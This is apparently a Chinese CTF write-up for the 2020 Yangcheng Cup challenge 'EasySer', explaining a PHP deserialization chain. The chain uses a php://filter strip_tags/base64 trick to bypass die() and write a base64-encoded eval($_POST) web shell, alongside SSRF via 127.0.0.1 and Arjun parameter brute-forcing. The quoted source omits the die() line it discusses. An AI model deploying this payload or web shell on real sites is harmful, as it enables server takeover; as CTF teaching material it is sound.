[羊城杯 2020]EasySer 1

[羊城杯 2020]EasySer 1,第1张

知识点:Arjun爆参,file_put_contents伪协议过滤

目录
  • 审题
  • 分析
  • 绕过die的原理
  • 如何找传参的地方?
  • __toString原理
  • Arjun的安装和使用

审题

点开是个ubuntu版本的apache,没什么用,直接扫波目录。




扫到两个目录。




访问robots.txt

进入star1.php,提示我们要从家进入ser.php,且要是不安全的协议,那么就是http://127.0.0.1/ser.php


error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';

class GWHT{
    public $hero;
    public function __construct(){
        $this->hero = new Yasuo;
    }
    public function __toString(){
        if (isset($this->hero)){
            return $this->hero->hasaki();
        }else{
            return "You don't look very happy";
        }
    }
}
class Yongen{ //flag.php
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = $file;
        $this -> text = $text;
        
    }
    public function hasaki(){
        $d   = '';
        $a= $d. $this->text;
         @file_put_contents($this-> file,$a);
    }
}
class Yasuo{
    public function hasaki(){
        return "I'm the best happy windy man";
    }
}
?>
分析

可以看到有个可以写文件的地方
但是,内容中有一个die函数,我们可以用伪协议过滤,过滤掉标签,使die(…)成为一个普通文本,可以用string.strip_tags这个过滤器可以过滤html标签,php标签。




构造payload:


class GWHT{
    public $hero;
}
class Yongen{ //flag.php
    public $file="php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
    public $text="PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==";
}
$b=new GWHT();
$b->hero=new Yongen();//覆盖
echo serialize($b);
?>

虽然在创建对象的时候它自动给hero赋值,但后面我们给他覆盖掉了

绕过die的原理

把内容先用string.strip_tags过滤掉php标签,然后再base64解码

php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
如何找传参的地方?

那么既然有了反序列化payload,那么往哪传呢?参数名叫什么?我们可以用Arjun来爆参

写入文件

然后进入所在文件,写shell,拿flag

__toString原理

既然可以shell,那我们就看一下这边的__toString是怎么触发的

是因为我们传上去的时候它会反序列化并把值当作字符串echo输出,这样就触发了__toSting

Arjun的安装和使用
git clone https://github.com/s0md3v/Arjun.git

克隆完直接pip3 install arjun

详细使用:https://github.com/s0md3v/Arjun/wiki/Usage#import-multiple-targets

当然这边直接arjun -u http://b4227c37-f564-4931-8966-88f1b1b12f3a.node4.buuoj.cn:81/star1.php?path=http://127.0.0.1/ser.php -m GET

欢迎分享,转载请注明来源:内存溢出

原文地址: http://www.outofmemory.cn/langs/563789.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-04-03
下一篇 2022-04-03

发表评论

登录后才能评论

评论列表(0条)

保存